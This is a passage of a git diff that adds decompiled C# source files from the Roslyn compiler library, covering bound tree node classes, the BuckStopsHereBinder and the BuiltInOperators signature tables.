Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundWhenDecisionDagNode : BoundDecisionDagNode +{ + public ImmutableArray Bindings { get; } + + public BoundExpression? WhenExpression { get; } + + public BoundDecisionDagNode WhenTrue { get; } + + public BoundDecisionDagNode? WhenFalse { get; } + + public BoundWhenDecisionDagNode(SyntaxNode syntax, ImmutableArray bindings, BoundExpression? whenExpression, BoundDecisionDagNode whenTrue, BoundDecisionDagNode? whenFalse, bool hasErrors = false) + : base(BoundKind.WhenDecisionDagNode, syntax, hasErrors || whenExpression.HasErrors() || whenTrue.HasErrors() || whenFalse.HasErrors()) + { + Bindings = bindings; + WhenExpression = whenExpression; + WhenTrue = whenTrue; + WhenFalse = whenFalse; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitWhenDecisionDagNode(this); + } + + public BoundWhenDecisionDagNode Update(ImmutableArray bindings, BoundExpression? whenExpression, BoundDecisionDagNode whenTrue, BoundDecisionDagNode? whenFalse) + { + if (bindings != Bindings || whenExpression != WhenExpression || whenTrue != WhenTrue || whenFalse != WhenFalse) + { + BoundWhenDecisionDagNode boundWhenDecisionDagNode = new BoundWhenDecisionDagNode(Syntax, bindings, whenExpression, whenTrue, whenFalse, base.HasErrors); + boundWhenDecisionDagNode.CopyAttributes(this); + return boundWhenDecisionDagNode; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWhileStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWhileStatement.cs new file mode 100644 index 0000000..aabb583 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWhileStatement.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundWhileStatement : BoundConditionalLoopStatement +{ + public BoundWhileStatement(SyntaxNode syntax, ImmutableArray locals, BoundExpression condition, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors = false) + : base(BoundKind.WhileStatement, syntax, locals, condition, body, breakLabel, continueLabel, hasErrors || condition.HasErrors() || body.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitWhileStatement(this); + } + + public BoundWhileStatement Update(ImmutableArray locals, BoundExpression condition, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel) + { + if (locals != base.Locals || condition != base.Condition || body != base.Body || !SymbolEqualityComparer.ConsiderEverything.Equals(breakLabel, base.BreakLabel) || !SymbolEqualityComparer.ConsiderEverything.Equals(continueLabel, base.ContinueLabel)) + { + BoundWhileStatement boundWhileStatement = new BoundWhileStatement(Syntax, locals, condition, body, breakLabel, continueLabel, base.HasErrors); + boundWhileStatement.CopyAttributes(this); + return boundWhileStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWithExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWithExpression.cs new file mode 100644 index 0000000..9a24da5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWithExpression.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundWithExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Receiver { get; } + + public MethodSymbol? CloneMethod { get; } + + public BoundObjectInitializerExpressionBase InitializerExpression { get; } + + public BoundWithExpression(SyntaxNode syntax, BoundExpression receiver, MethodSymbol? cloneMethod, BoundObjectInitializerExpressionBase initializerExpression, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.WithExpression, syntax, type, hasErrors || receiver.HasErrors() || initializerExpression.HasErrors()) + { + Receiver = receiver; + CloneMethod = cloneMethod; + InitializerExpression = initializerExpression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitWithExpression(this); + } + + public BoundWithExpression Update(BoundExpression receiver, MethodSymbol? cloneMethod, BoundObjectInitializerExpressionBase initializerExpression, TypeSymbol type) + { + if (receiver != Receiver || !SymbolEqualityComparer.ConsiderEverything.Equals(cloneMethod, CloneMethod) || initializerExpression != InitializerExpression || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundWithExpression boundWithExpression = new BoundWithExpression(Syntax, receiver, cloneMethod, initializerExpression, type, base.HasErrors); + boundWithExpression.CopyAttributes(this); + return boundWithExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundYieldBreakStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundYieldBreakStatement.cs new file mode 100644 index 0000000..dcdaa8c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundYieldBreakStatement.cs @@ -0,0 +1,30 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundYieldBreakStatement : BoundStatement +{ + public static BoundYieldBreakStatement Synthesized(SyntaxNode syntax, bool hasErrors = false) + { + return new BoundYieldBreakStatement(syntax, hasErrors) + { + WasCompilerGenerated = true + }; + } + + public BoundYieldBreakStatement(SyntaxNode syntax, bool hasErrors) + : base(BoundKind.YieldBreakStatement, syntax, hasErrors) + { + } + + public BoundYieldBreakStatement(SyntaxNode syntax) + : base(BoundKind.YieldBreakStatement, syntax) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitYieldBreakStatement(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundYieldReturnStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundYieldReturnStatement.cs new file mode 100644 index 0000000..0ac272c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundYieldReturnStatement.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundYieldReturnStatement : BoundStatement +{ + public BoundExpression Expression { get; } + + public BoundYieldReturnStatement(SyntaxNode syntax, BoundExpression expression, bool hasErrors = false) + : base(BoundKind.YieldReturnStatement, syntax, hasErrors || expression.HasErrors()) + { + Expression = expression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitYieldReturnStatement(this); + } + + public BoundYieldReturnStatement Update(BoundExpression expression) + { + if (expression != Expression) + { + BoundYieldReturnStatement boundYieldReturnStatement = new BoundYieldReturnStatement(Syntax, expression, base.HasErrors); + boundYieldReturnStatement.CopyAttributes(this); + return boundYieldReturnStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BuckStopsHereBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BuckStopsHereBinder.cs new file mode 100644 index 0000000..f7165c4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BuckStopsHereBinder.cs @@ -0,0 +1,150 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class BuckStopsHereBinder : Binder +{ + internal readonly FileIdentifier? AssociatedFileIdentifier; + + internal override ImportChain? ImportChain => null; + + internal override QuickAttributeChecker QuickAttributeChecker => Microsoft.CodeAnalysis.CSharp.Symbols.QuickAttributeChecker.Predefined; + + protected override bool InExecutableBinder => false; + + protected override SyntaxNode? EnclosingNameofArgument => null; + + internal override bool IsInsideNameof => false; + + internal override ConstantFieldsInProgress ConstantFieldsInProgress => Microsoft.CodeAnalysis.CSharp.ConstantFieldsInProgress.Empty; + + internal override ConsList FieldsBeingBound => ConsList.Empty; + + internal override LocalSymbol? LocalInProgress => null; + + internal override bool IsInMethodBody => false; + + internal override bool IsDirectlyInIterator => false; + + internal override bool IsIndirectlyInIterator => false; + + internal override GeneratedLabelSymbol? BreakLabel => null; + + internal override GeneratedLabelSymbol? ContinueLabel => null; + + internal override BoundExpression? ConditionalReceiverExpression => null; + + internal override Symbol? ContainingMemberOrLambda => null; + + internal override ImmutableHashSet LockedOrDisposedVariables => ImmutableHashSet.Create(); + + internal BuckStopsHereBinder(CSharpCompilation compilation, FileIdentifier? associatedFileIdentifier) + : base(compilation) + { + AssociatedFileIdentifier = associatedFileIdentifier; + } + + protected override SourceLocalSymbol? LookupLocal(SyntaxToken nameToken) + { + return null; + } + + protected override LocalFunctionSymbol? LookupLocalFunction(SyntaxToken nameToken) + { + return null; + } + + internal override bool IsAccessibleHelper(Symbol symbol, TypeSymbol accessThroughType, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved) + { + failedThroughTypeCheck = false; + return Binder.IsSymbolAccessibleConditional(symbol, base.Compilation.Assembly, ref useSiteInfo); + } + + protected override bool IsUnboundTypeAllowed(GenericNameSyntax syntax) + { + return false; + } + + internal override TypeWithAnnotations GetIteratorElementType() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 155); + } + + internal override bool AreNullableAnnotationsGloballyEnabled() + { + return GetGlobalAnnotationState(); + } + + internal override Binder? GetBinder(SyntaxNode node) + { + return null; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 178); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 183); + } + + internal override BoundStatement BindSwitchStatementCore(SwitchStatementSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 189); + } + + internal override BoundExpression BindSwitchExpressionCore(SwitchExpressionSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 195); + } + + internal override void BindPatternSwitchLabelForInference(CasePatternSwitchLabelSyntax node, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 201); + } + + internal override BoundSwitchExpressionArm BindSwitchExpressionArm(SwitchExpressionArmSyntax node, TypeSymbol switchGoverningType, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 207); + } + + internal override BoundForStatement BindForParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 213); + } + + internal override BoundStatement BindForEachParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 219); + } + + internal override BoundStatement BindForEachDeconstruction(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 225); + } + + internal override BoundWhileStatement BindWhileParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 231); + } + + internal override BoundDoStatement BindDoParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 237); + } + + internal override BoundStatement BindUsingStatementParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 243); + } + + internal override BoundStatement BindLockStatementParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BuckStopsHereBinder.cs", 249); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BuiltInOperators.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BuiltInOperators.cs new file mode 100644 index 0000000..cc166bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BuiltInOperators.cs @@ -0,0 +1,512 @@ +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class BuiltInOperators +{ + private readonly CSharpCompilation _compilation; + + private ImmutableArray[] _builtInUnaryOperators; + + private ImmutableArray[][] _builtInOperators; + + private StrongBox _builtInUtf8Concatenation; + + internal BuiltInOperators(CSharpCompilation compilation) + { + _compilation = compilation; + } + + private ImmutableArray GetSignaturesFromUnaryOperatorKinds(int[] operatorKinds) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (int kind in operatorKinds) + { + instance.Add(GetSignature((UnaryOperatorKind)kind)); + } + return instance.ToImmutableAndFree(); + } + + internal void GetSimpleBuiltInOperators(UnaryOperatorKind kind, ArrayBuilder operators, bool skipNativeIntegerOperators) + { + if (_builtInUnaryOperators == null) + { + ImmutableArray[] value = new ImmutableArray[10] + { + GetSignaturesFromUnaryOperatorKinds(new int[28] + { + 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, + 4107, 4108, 4109, 4110, 69633, 69634, 69635, 69636, 69637, 69638, + 69639, 69640, 69641, 69642, 69643, 69644, 69645, 69646 + }), + GetSignaturesFromUnaryOperatorKinds(new int[28] + { + 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, + 4363, 4364, 4365, 4366, 69889, 69890, 69891, 69892, 69893, 69894, + 69895, 69896, 69897, 69898, 69899, 69900, 69901, 69902 + }), + GetSignaturesFromUnaryOperatorKinds(new int[28] + { + 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, + 4619, 4620, 4621, 4622, 70145, 70146, 70147, 70148, 70149, 70150, + 70151, 70152, 70153, 70154, 70155, 70156, 70157, 70158 + }), + GetSignaturesFromUnaryOperatorKinds(new int[28] + { + 4865, 4866, 4867, 4868, 4869, 4870, 4873, 4874, 4871, 4872, + 4875, 4876, 4877, 4878, 70401, 70402, 70403, 70404, 70405, 70406, + 70407, 70408, 70409, 70410, 70411, 70412, 70413, 70414 + }), + GetSignaturesFromUnaryOperatorKinds(new int[18] + { + 5125, 5126, 5127, 5128, 5129, 5130, 5132, 5133, 5134, 70661, + 70662, 70663, 70664, 70665, 70666, 70668, 70669, 70670 + }), + GetSignaturesFromUnaryOperatorKinds(new int[12] + { + 5381, 5383, 5385, 5388, 5389, 5390, 70917, 70919, 70921, 70924, + 70925, 70926 + }), + GetSignaturesFromUnaryOperatorKinds(new int[2] { 5647, 71183 }), + GetSignaturesFromUnaryOperatorKinds(new int[12] + { + 5893, 5894, 5895, 5896, 5897, 5898, 71429, 71430, 71431, 71432, + 71433, 71434 + }), + ImmutableArray.Empty, + ImmutableArray.Empty + }; + Interlocked.CompareExchange(ref _builtInUnaryOperators, value, null); + } + ImmutableArray.Enumerator enumerator = _builtInUnaryOperators[kind.OperatorIndex()].GetEnumerator(); + while (enumerator.MoveNext()) + { + UnaryOperatorSignature current = enumerator.Current; + if (skipNativeIntegerOperators) + { + UnaryOperatorKind unaryOperatorKind = current.Kind.OperandTypes(); + if ((uint)(unaryOperatorKind - 9) <= 1u) + { + continue; + } + } + operators.Add(current); + } + } + + internal UnaryOperatorSignature GetSignature(UnaryOperatorKind kind) + { + TypeSymbol typeSymbol = kind.OperandTypes() switch + { + UnaryOperatorKind.SByte => _compilation.GetSpecialType((SpecialType)9), + UnaryOperatorKind.Byte => _compilation.GetSpecialType((SpecialType)10), + UnaryOperatorKind.Short => _compilation.GetSpecialType((SpecialType)11), + UnaryOperatorKind.UShort => _compilation.GetSpecialType((SpecialType)12), + UnaryOperatorKind.Int => _compilation.GetSpecialType((SpecialType)13), + UnaryOperatorKind.UInt => _compilation.GetSpecialType((SpecialType)14), + UnaryOperatorKind.Long => _compilation.GetSpecialType((SpecialType)15), + UnaryOperatorKind.ULong => _compilation.GetSpecialType((SpecialType)16), + UnaryOperatorKind.NInt => _compilation.CreateNativeIntegerTypeSymbol(signed: true), + UnaryOperatorKind.NUInt => _compilation.CreateNativeIntegerTypeSymbol(signed: false), + UnaryOperatorKind.Char => _compilation.GetSpecialType((SpecialType)8), + UnaryOperatorKind.Float => _compilation.GetSpecialType((SpecialType)18), + UnaryOperatorKind.Double => _compilation.GetSpecialType((SpecialType)19), + UnaryOperatorKind.Decimal => _compilation.GetSpecialType((SpecialType)17), + UnaryOperatorKind.Bool => _compilation.GetSpecialType((SpecialType)7), + _ => throw ExceptionUtilities.UnexpectedValue((object)kind.OperandTypes()), + }; + if (kind.IsLifted()) + { + typeSymbol = _compilation.GetOrCreateNullableType(typeSymbol); + } + return new UnaryOperatorSignature(kind, typeSymbol, typeSymbol); + } + + private ImmutableArray GetSignaturesFromBinaryOperatorKinds(int[] operatorKinds) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (int kind in operatorKinds) + { + instance.Add(GetSignature((BinaryOperatorKind)kind)); + } + return instance.ToImmutableAndFree(); + } + + internal void GetSimpleBuiltInOperators(BinaryOperatorKind kind, ArrayBuilder operators, bool skipNativeIntegerOperators) + { + if (_builtInOperators == null) + { + ImmutableArray[] array = new ImmutableArray[17] + { + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Empty, + ImmutableArray.Create(GetSignature(BinaryOperatorKind.LogicalBoolAnd)), + ImmutableArray.Empty, + ImmutableArray.Create(GetSignature(BinaryOperatorKind.LogicalBoolOr)), + ImmutableArray.Empty + }; + ImmutableArray[] array2 = new ImmutableArray[17] + { + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 4101, 4102, 4103, 4104, 4105, 4106, 4108, 4109, 4110, 69637, + 69638, 69639, 69640, 69641, 69642, 69644, 69645, 69646 + }), + GetSignaturesFromBinaryOperatorKinds(new int[21] + { + 4357, 4358, 4359, 4360, 4361, 4362, 4364, 4365, 4366, 69893, + 69894, 69895, 69896, 69897, 69898, 69900, 69901, 69902, 4369, 4370, + 4371 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 4613, 4614, 4615, 4616, 4617, 4618, 4620, 4621, 4622, 70149, + 70150, 70151, 70152, 70153, 70154, 70156, 70157, 70158 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 4869, 4870, 4871, 4872, 4873, 4874, 4876, 4877, 4878, 70405, + 70406, 70407, 70408, 70409, 70410, 70412, 70413, 70414 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 5125, 5126, 5127, 5128, 5129, 5130, 5132, 5133, 5134, 70661, + 70662, 70663, 70664, 70665, 70666, 70668, 70669, 70670 + }), + GetSignaturesFromBinaryOperatorKinds(new int[12] + { + 5381, 5382, 5383, 5384, 5385, 5386, 70917, 70918, 70919, 70920, + 70921, 70922 + }), + GetSignaturesFromBinaryOperatorKinds(new int[12] + { + 5637, 5638, 5639, 5640, 5641, 5642, 71173, 71174, 71175, 71176, + 71177, 71178 + }), + GetSignaturesFromBinaryOperatorKinds(new int[22] + { + 5893, 5894, 5895, 5896, 5897, 5898, 5900, 5901, 5902, 5903, + 71429, 71430, 71431, 71432, 71433, 71434, 71436, 71437, 71438, 71439, + 5904, 5905 + }), + GetSignaturesFromBinaryOperatorKinds(new int[22] + { + 6149, 6150, 6151, 6152, 6153, 6154, 6156, 6157, 6158, 6159, + 71685, 71686, 71687, 71688, 71689, 71690, 71692, 71693, 71694, 71695, + 6160, 6161 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 6405, 6406, 6407, 6408, 6409, 6410, 6412, 6413, 6414, 71941, + 71942, 71943, 71944, 71945, 71946, 71948, 71949, 71950 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 6661, 6662, 6663, 6664, 6665, 6666, 6668, 6669, 6670, 72197, + 72198, 72199, 72200, 72201, 72202, 72204, 72205, 72206 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 6917, 6918, 6919, 6920, 6921, 6922, 6924, 6925, 6926, 72453, + 72454, 72455, 72456, 72457, 72458, 72460, 72461, 72462 + }), + GetSignaturesFromBinaryOperatorKinds(new int[18] + { + 7173, 7174, 7175, 7176, 7177, 7178, 7180, 7181, 7182, 72709, + 72710, 72711, 72712, 72713, 72714, 72716, 72717, 72718 + }), + GetSignaturesFromBinaryOperatorKinds(new int[14] + { + 7429, 7430, 7431, 7432, 7433, 7434, 7439, 72965, 72966, 72967, + 72968, 72969, 72970, 72975 + }), + GetSignaturesFromBinaryOperatorKinds(new int[14] + { + 7685, 7686, 7687, 7688, 7689, 7690, 7695, 73221, 73222, 73223, + 73224, 73225, 73226, 73231 + }), + GetSignaturesFromBinaryOperatorKinds(new int[14] + { + 7941, 7942, 7943, 7944, 7945, 7946, 7951, 73477, 73478, 73479, + 73480, 73481, 73482, 73487 + }), + GetSignaturesFromBinaryOperatorKinds(new int[12] + { + 8197, 8198, 8199, 8200, 8201, 8202, 73733, 73734, 73735, 73736, + 73737, 73738 + }) + }; + ImmutableArray[][] value = new ImmutableArray[2][] { array2, array }; + Interlocked.CompareExchange(ref _builtInOperators, value, null); + } + ImmutableArray.Enumerator enumerator = _builtInOperators[kind.IsLogical() ? 1u : 0u][kind.OperatorIndex()].GetEnumerator(); + while (enumerator.MoveNext()) + { + BinaryOperatorSignature current = enumerator.Current; + if (skipNativeIntegerOperators) + { + BinaryOperatorKind binaryOperatorKind = current.Kind.OperandTypes(); + if ((uint)(binaryOperatorKind - 9) <= 1u) + { + continue; + } + } + operators.Add(current); + } + } + + internal void GetUtf8ConcatenationBuiltInOperator(TypeSymbol readonlySpanOfByte, ArrayBuilder operators) + { + if (_builtInUtf8Concatenation == null) + { + Interlocked.CompareExchange(ref _builtInUtf8Concatenation, new StrongBox(new BinaryOperatorSignature(BinaryOperatorKind.Utf8Addition, readonlySpanOfByte, readonlySpanOfByte, readonlySpanOfByte)), null); + } + operators.Add(_builtInUtf8Concatenation.Value); + } + + internal BinaryOperatorSignature GetSignature(BinaryOperatorKind kind) + { + TypeSymbol typeSymbol = LeftType(kind); + switch (kind.Operator()) + { + case BinaryOperatorKind.Multiplication: + case BinaryOperatorKind.Subtraction: + case BinaryOperatorKind.Division: + case BinaryOperatorKind.Remainder: + case BinaryOperatorKind.And: + case BinaryOperatorKind.Xor: + case BinaryOperatorKind.Or: + return new BinaryOperatorSignature(kind, typeSymbol, typeSymbol, typeSymbol); + case BinaryOperatorKind.Addition: + return new BinaryOperatorSignature(kind, typeSymbol, RightType(kind), ReturnType(kind)); + case BinaryOperatorKind.LeftShift: + case BinaryOperatorKind.RightShift: + case BinaryOperatorKind.UnsignedRightShift: + { + TypeSymbol typeSymbol2 = _compilation.GetSpecialType((SpecialType)13); + if (kind.IsLifted()) + { + typeSymbol2 = _compilation.GetOrCreateNullableType(typeSymbol2); + } + return new BinaryOperatorSignature(kind, typeSymbol, typeSymbol2, typeSymbol); + } + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + return new BinaryOperatorSignature(kind, typeSymbol, typeSymbol, _compilation.GetSpecialType((SpecialType)7)); + default: + return new BinaryOperatorSignature(kind, typeSymbol, RightType(kind), ReturnType(kind)); + } + } + + private TypeSymbol LeftType(BinaryOperatorKind kind) + { + if (kind.IsLifted()) + { + return LiftedType(kind); + } + switch (kind.OperandTypes()) + { + case BinaryOperatorKind.Int: + return _compilation.GetSpecialType((SpecialType)13); + case BinaryOperatorKind.UInt: + return _compilation.GetSpecialType((SpecialType)14); + case BinaryOperatorKind.Long: + return _compilation.GetSpecialType((SpecialType)15); + case BinaryOperatorKind.ULong: + return _compilation.GetSpecialType((SpecialType)16); + case BinaryOperatorKind.NInt: + return _compilation.CreateNativeIntegerTypeSymbol(signed: true); + case BinaryOperatorKind.NUInt: + return _compilation.CreateNativeIntegerTypeSymbol(signed: false); + case BinaryOperatorKind.Float: + return _compilation.GetSpecialType((SpecialType)18); + case BinaryOperatorKind.Double: + return _compilation.GetSpecialType((SpecialType)19); + case BinaryOperatorKind.Decimal: + return _compilation.GetSpecialType((SpecialType)17); + case BinaryOperatorKind.Bool: + return _compilation.GetSpecialType((SpecialType)7); + case BinaryOperatorKind.Object: + case BinaryOperatorKind.ObjectAndString: + return _compilation.GetSpecialType((SpecialType)1); + case BinaryOperatorKind.String: + case BinaryOperatorKind.StringAndObject: + return _compilation.GetSpecialType((SpecialType)20); + default: + return null; + } + } + + private TypeSymbol RightType(BinaryOperatorKind kind) + { + if (kind.IsLifted()) + { + return LiftedType(kind); + } + switch (kind.OperandTypes()) + { + case BinaryOperatorKind.Int: + return _compilation.GetSpecialType((SpecialType)13); + case BinaryOperatorKind.UInt: + return _compilation.GetSpecialType((SpecialType)14); + case BinaryOperatorKind.Long: + return _compilation.GetSpecialType((SpecialType)15); + case BinaryOperatorKind.ULong: + return _compilation.GetSpecialType((SpecialType)16); + case BinaryOperatorKind.NInt: + return _compilation.CreateNativeIntegerTypeSymbol(signed: true); + case BinaryOperatorKind.NUInt: + return _compilation.CreateNativeIntegerTypeSymbol(signed: false); + case BinaryOperatorKind.Float: + return _compilation.GetSpecialType((SpecialType)18); + case BinaryOperatorKind.Double: + return _compilation.GetSpecialType((SpecialType)19); + case BinaryOperatorKind.Decimal: + return _compilation.GetSpecialType((SpecialType)17); + case BinaryOperatorKind.Bool: + return _compilation.GetSpecialType((SpecialType)7); + case BinaryOperatorKind.String: + case BinaryOperatorKind.ObjectAndString: + return _compilation.GetSpecialType((SpecialType)20); + case BinaryOperatorKind.Object: + case BinaryOperatorKind.StringAndObject: + return _compilation.GetSpecialType((SpecialType)1); + default: + return null; + } + } + + private TypeSymbol ReturnType(BinaryOperatorKind kind) + { + if (kind.IsLifted()) + { + return LiftedType(kind); + } + switch (kind.OperandTypes()) + { + case BinaryOperatorKind.Int: + return _compilation.GetSpecialType((SpecialType)13); + case BinaryOperatorKind.UInt: + return _compilation.GetSpecialType((SpecialType)14); + case BinaryOperatorKind.Long: + return _compilation.GetSpecialType((SpecialType)15); + case BinaryOperatorKind.ULong: + return _compilation.GetSpecialType((SpecialType)16); + case BinaryOperatorKind.NInt: + return _compilation.CreateNativeIntegerTypeSymbol(signed: true); + case BinaryOperatorKind.NUInt: + return _compilation.CreateNativeIntegerTypeSymbol(signed: false); + case BinaryOperatorKind.Float: + return _compilation.GetSpecialType((SpecialType)18); + case BinaryOperatorKind.Double: + return _compilation.GetSpecialType((SpecialType)19); + case BinaryOperatorKind.Decimal: + return _compilation.GetSpecialType((SpecialType)17); + case BinaryOperatorKind.Bool: + return _compilation.GetSpecialType((SpecialType)7); + case BinaryOperatorKind.Object: + return _compilation.GetSpecialType((SpecialType)1); + case BinaryOperatorKind.String: + case BinaryOperatorKind.StringAndObject: + case BinaryOperatorKind.ObjectAndString: + return _compilation.GetSpecialType((SpecialType)20); + default: + return null; + } + } + + private TypeSymbol LiftedType(BinaryOperatorKind kind) + { + BinaryOperatorKind binaryOperatorKind = kind.OperandTypes(); + NamedTypeSymbol typeArgument = binaryOperatorKind switch + { + BinaryOperatorKind.Int => _compilation.GetSpecialType((SpecialType)13), + BinaryOperatorKind.UInt => _compilation.GetSpecialType((SpecialType)14), + BinaryOperatorKind.Long => _compilation.GetSpecialType((SpecialType)15), + BinaryOperatorKind.ULong => _compilation.GetSpecialType((SpecialType)16), + BinaryOperatorKind.NInt => _compilation.CreateNativeIntegerTypeSymbol(signed: true), + BinaryOperatorKind.NUInt => _compilation.CreateNativeIntegerTypeSymbol(signed: false), + BinaryOperatorKind.Float => _compilation.GetSpecialType((SpecialType)18), + BinaryOperatorKind.Double => _compilation.GetSpecialType((SpecialType)19), + 